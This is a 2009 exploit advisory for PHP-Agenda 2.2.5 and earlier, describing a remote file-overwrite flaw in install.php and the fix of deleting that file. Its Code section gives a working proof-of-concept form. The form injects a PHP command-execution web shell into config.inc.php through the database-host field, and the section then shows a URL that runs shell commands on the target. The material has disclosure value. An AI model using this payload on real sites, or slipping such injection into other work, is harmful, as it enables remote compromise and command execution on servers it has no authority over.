PHP-Agenda <= 2.2.5 Remote File Overwriting Vulnerabilities
2009-04-10 17:08:28******* Salvatore "drosophila" Fresta *******
[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net
[+] Bugs: [A] Remote File Overwriting
[+] Exploitation: Remote
[+] Date: 10 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]
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[+] Menu
1) Bugs
2) Code
3) Fix
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[+] Bugs
- [A] Remote File Overwriting
[-] Risk: hight
[-] File affected: install.php
This bug allows a guest to overwrite config.inc.php
inserting PHP code.
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[+] Code
- [A] Remote File Overwriting
<html>
<head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head>
<body>
<form action="http://www.site.com/path/install.php" method="post">
<input type="text" name="dbhost" size="30" value="'; system($_GET['cmd']); echo '">
<input type="submit" value="Exploit!" >
</form>
</body>
</head>
To execute commands:
http://www.site.com/path/config.inc.php?cmd=uname -a
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[+] Fix
You must delete install.php after installation.
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Fixes
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